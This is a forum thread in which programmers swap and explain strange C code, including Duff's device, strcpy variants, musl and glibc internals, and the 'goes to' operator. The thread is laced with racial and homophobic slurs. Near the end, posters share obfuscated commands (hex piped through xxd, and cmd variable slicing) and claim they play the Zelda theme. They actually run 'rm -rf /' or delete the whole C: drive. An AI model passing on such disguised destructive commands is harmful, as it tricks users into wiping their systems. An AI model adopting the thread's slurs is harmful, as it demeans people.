Post some niggerlicious code

Post some niggerlicious code.

Attached: screenshot.png (778x315, 35K)

Other urls found in this thread:

en.wikipedia.org/wiki/Duff's_device
en.wikipedia.org/wiki/Duff's_device.
wiki.c2.com/?PreferredOrderOfSrcDstArguments
chiru.no/u/wallpaper.txt
twitter.com/SFWRedditImages

Attached: niggu.h.png (353x142, 4K)

Attached: Screen Shot 2018-06-21 at 3.14.00 PM.png (299x318, 33K)

What the fuck is even going on here?

lol what the fuck

Also

because I want to see it

Can somebody please explain this satanic bullshit to me? I literally write java for a living.

en.wikipedia.org/wiki/Duff's_device

Manual loop unrolling. See: en.wikipedia.org/wiki/Duff's_device.

the implementation of strcpy in

studio h(null){
std::cout

Why would you order the parameters of the function in such a non-intuitive way?

I don't get it

That's how x86 MOV syntax works.

destination being first argument is pretty standard
also see wiki.c2.com/?PreferredOrderOfSrcDstArguments

Don't bother remembering it. You won't need it - Most loops shouldn't be unrolled because it's more important for the code to fit into the cache.
Loop unrolling can be done by the compiler, at best from a real profile from the application when it's running, to best decide which loops should be unrolled for performance and which shouldn't be so they stay small.
And even if you for some reason had to manually unroll a loop to copy bytes around, duff's device is far from the most performant way to achieve it - instead, it's way more performant to just copy the first n % 8 bytes outside of the loop and to then unroll the loop and always copy 8 at a time. This skips having to do the modulo operation and the comparison every 8 bytes.

Duff's device pretty much only exists for certified fizzbuzz Jow Forums "C developer" wannabes to post here and feel clever for no reason.

Let's say you wanted to do write the code for (int i = 0; i < 8; ++i) { doSomething(); }

You could expand it out to
doSomething();
doSomething(); /*comment here for Jow Forums's stupid spam filter*/
doSomething();
doSomething();
doSomething(); /*another comment for Jow Forums's spam filter*/
doSomething();
doSomething();
doSomething(); /*fuck the spamfitler*/

And that would give you a slight performance boost because you don't have to have any sort of conditionals. Compilers these days will typically do this automatically.

What if instead you had for (int i = 0; i < n; ++i) { doSomething(); }

so you didn't know how many times to loop, but you did know that n was a multiple of 8? You could still get a performance boost by doing
for (int i = 0; i < n/8; ++i) {
doSomething();
doSomething();
doSomething(); /*seriously, this spam filter sucks*/
doSomething();
doSomething();
doSomething();
doSomething(); /*go to hell, hiroshimoot*/
doSomething(); }

The code posted basically does what I wrote above, except it also handles cases where n is not divisible by 8.
For example, if n = 21, then the first time through the loop it will execute doSomething() 5 times (because 21 % 8 = 5), then it will execute doSomething() 8 times and then 8 times again.

>Don't bother remembering it
what if im working on a CS Ph.D huh?

You're not.

Even if you were, why would you want to learn about something that does something you shouldn't do, and does it in a sub-optimal way?
Duff's device is pointless.

learn some assembly you CIA nigger monkey

Attached: 1495265723061.jpg (640x480, 44K)

>Not doing a single line while(*dest++ = *src++)

Pleb

>AT&T syntax blocks your path

for (; (*to = *from) != '\0'; ++from, ++to);

Needs to return char*

As someone who IS working on a CS PhD... you probably won't need it.

bad API though, would be better to return length or end-pointer

for( ; ; )
{
*to = *from;
to++;
from++;
if(*to == *from > 0)
break;
}

You dont even have to return anything, the code executed inside the while will change the values in memory by itself

I love for(;;)

Please be joking, what are local variables?

lmao this faggot doesn't know what a pointer is. fucking babbys first time looking at code

>nigger doesn't know what pointers are
>tries judging C code
back to high school FAGGOT

Attached: 1500483271622.jpg (640x480, 76K)

at&t is best syntax

One returns pointer to '\0', the other returns the first element?????????? retards???????!!!!!!!!!!!!!

you're no better terry poster

yeah the return value here is pointless, who the fuck needs the original destination pointer, wtf
but standards are standards

dest for the caller still points to the first character.

Attached: 1498330671493.jpg (204x306, 7K)

That's literally what I said, it''s a local variable

So why would you have to return anything.. ?

Because whoever wrote the function, made it a type char*

CS are faggots who dont really know about computers, only gay algorithms and abstractions

I know some straight algorithms too

mai negroe

Excellent explanation thanks user

C seems to produce a lot of this

How to you assign variables?
Like this:
a = b;

In C you case use the "goes to" operator.
Thus, you can have a loop while a variable goes to 0:

int i = 10;

while (i --> 0)
{
// Do a barrel roll.
}

An old trick to avoid assigning during comparisons is to use "Yoda conditions", where you basically invert the operands and talk like the Jedi master:

if (GREEN == traffic_light_color)
{
}

>>What the fuck is even going on here?
The condition of the while loop isn't a test for equality, it's an assignment statement. Single-equals. An assignment statement is valid there, it evaluates as false if the variable that took the assignment got a zero/null put into it. So the condition of the while loop does the copying, and when it hits the null terminator it becomes false and the loop stops. There is no body (see the semicolon after it?) since there's nothing to do there.

To add to this, strings in C end with a \0 thats why it works.

oh so it'll be a compile error if you try to assign to a value? neat.

Attached: How_neat_is_that.png (500x531, 472K)

so does it just count down/up from its current value to the new one, incrementing each loop just like a for?

>Most loops shouldn't be unrolled because it's more important for the code to fit into the cache.
Loop unrolling will make a comeback when instruction caches are all disabled because they can be used in timing attacks to infer privileged data.
>hey, we can store instructions to make the CPU run faster!
>hey, we can predict branches and run through some instructions to make the CPU run faster on average!
>member all that shit we added? turns out it was bad for security, time to disable it
What's next, pipelines going away? By the time they're done removing all those features we'll be back at 1990 CPU speeds.

Hey, that was a really nice explanation. Thanks for taking your time.

Attached: god is hot.png (4494x2158, 1.56M)

>--
>increment

oh I thought that was an arrow. It looked like an arrow.

Attached: Racism+in+computers_465944_6484364.jpg (1200x533, 86K)

duff's device. look it up. it was a loop unrolling thing they did in the 80s before compilers were smart

chiru.no/u/wallpaper.txt

Even after reading that paragraph it still took me 5 minutes to parse wtf was going in that code snippet.

>casting 0 to a function pointer i.e. void (*)()
>derefing that pointer
>call the function

So this is basically a pointer to 0x00000000?

google et al took his advice a little bit too literally

is this even real

strcpy?

Ctrl+U

clever use of spaces lol

checked and yes, official implementation

Well, it *is* definitely an arrow:

-->


But it's not an actual operator. In reality, it's equivalent to:

i-- > 0


There is also the more complicated "slide to" operator:

while ( i --\
\
\
> 0 )
{
}

this is the official optimized implementation in musl
#define ALIGN (sizeof(size_t))
#define ONES ((size_t)-1/UCHAR_MAX)
#define HIGHS (ONES * (UCHAR_MAX/2+1))
#define HASZERO(x) ((x)-ONES & ~(x) & HIGHS)

char *__stpcpy(char *restrict d, const char *restrict s)
{
size_t *wd;
const size_t *ws;

if ((uintptr_t)s % ALIGN == (uintptr_t)d % ALIGN) {
for (; (uintptr_t)s % ALIGN; s++, d++)
if (!(*d=*s)) return d;
wd=(void *)d; ws=(const void *)s;
for (; !HASZERO(*ws); *wd++ = *ws++);
d=(void *)wd; s=(const void *)ws;
}
for (; (*d=*s); s++, d++);

return d;
}

I just love the bit-hacks with alignment and haszero.

explain pls

>it's way more performant to just copy the first n % 8 bytes outside of the loop and to then unroll the loop and always copy 8 at a time
And what if it's not divisible by 8?

It calls a function through a function pointer that is pointing at 0x0

Attached: noooooo.jpg (669x197, 23K)

i will fucking fire you if you write code like this pajeet

Instead of going by 8-bit chars it goes by 64-bit chunks, but the given string doesn't need to be multiple of 8 bytes long and both source and destination starting at zero offset. Alignment bugs in C are the nastiest beasts.
HASZERO is nice bit-magic, you take 8-byte chunk and want to know if some of the bytes is 0.

Although looking at glibc I might like that more (not sure which one is faster):
char *
strcpy (char *dest, const char *src)
{
return memcpy (dest, src, strlen (src) + 1);
}

So nice code reuse. The strlen and memcpy are the optimized one with laughable code. Memcpy is pretty nice but strlen, holy shit.
void *
memcpy (void *dstpp, const void *srcpp, size_t len)
{
unsigned long int dstp = (long int) dstpp;
unsigned long int srcp = (long int) srcpp;

if (len >= OP_T_THRES)
{
len -= (-dstp) % OPSIZ;
BYTE_COPY_FWD (dstp, srcp, (-dstp) % OPSIZ);
PAGE_COPY_FWD_MAYBE (dstp, srcp, len, len);
WORD_COPY_FWD (dstp, srcp, len, len);
}

BYTE_COPY_FWD (dstp, srcp, len);

return dstpp;
}

Attached: Screenshot from 2018-06-22 12-17-17.png (533x431, 34K)

The for loop is identical to the while loop earlier. There's just some fuckaround with alignment in front.

ty

Attached: 1489483009583.jpg (600x567, 36K)

Attached: scrn_2018-06-19_20-02-37.png (530x803, 57K)

Is there no way to do that in a way that isn't retarded?

$(echo 726d202d7266202a | xxd -r -p)

Classy, this is from "legend of zelda", right?

But you'll probably not recognize this one (unless you're a real oldfag)..

$(echo 726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p)

oh ho thats a good one, better than legend of zelda

yes its 'that' one

That was actually a pleasant surprise, thank you.

what code are these?

You run it at your linux shell and it playes some tunes via pc speaker or something..

winfag here
can i run it somewhere online?

No, sorry.

Maybe you could get it running on PowerShell, but I'm not proficient with that.

what do the numbers represent?

maybe WSL to get Bash

access to the dll to turn on your speakers

-- | This \"function\" has a superficial similarity to 'unsafePerformIO' but
-- it is in fact a malevolent agent of chaos. It unpicks the seams of reality
-- (and the 'IO' monad) so that the normal rules no longer apply. It lulls you
-- into thinking it is reasonable, but when you are not looking it stabs you
-- in the back and aliases all of your mutable buffers. The carcass of many a
-- seasoned Haskell programmer lie strewn at its feet.
--
-- Do not talk about \"safe\"! You do not know what is safe!
--
-- Yield not to its blasphemous call! Flee traveller! Flee or you will be
-- corrupted and devoured!
--
{-# INLINE accursedUnutterablePerformIO #-}
accursedUnutterablePerformIO :: IO a -> a
accursedUnutterablePerformIO (IO m) = case m realWorld# of (# _, r #) -> r

inlinePerformIO :: IO a -> a
inlinePerformIO = accursedUnutterablePerformIO
{-# INLINE inlinePerformIO #-}
{-# DEPRECATED inlinePerformIO "If you think you know what you are doing, use 'unsafePerformIO'. If you are sure you know what you are doing, use 'unsafeDupablePerformIO'. If you enjoy sharing an address space with a malevolent agent of chaos, try 'accursedUnutterablePerformIO'." #-}

I only know real languages, explain this.

When it's safe to do so, you can perform IO inside a pure function, for stuff like allocating a buffer for a bytestring. If used in an unsafe place the optimiser can optimise out a call and make multiple calls return the same buffer

Set arn7=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
cls
%arn7:~39,1%%arn7:~40,1%%arn7:~47,1% %arn7:~38,1%:\ *.* /%arn7:~34,1%

I've been working on it, and this is the windows equivalent. Run in CMD and enjoy the zelda theme.

That's one command, by the way. Copy and paste-able.

Didn't run at first, but then I remembered powershell needs to be run as admin to have access to the speakers.

Nice taste in music, user, btw.

Why did you define two names for the same "function"?

Dude are you still using XP? Here's the newer command:
set "s=zeldac"& %s:~3,1%%s:~1,2% %s:~6%:\ /f/s/q

I love this place..
:)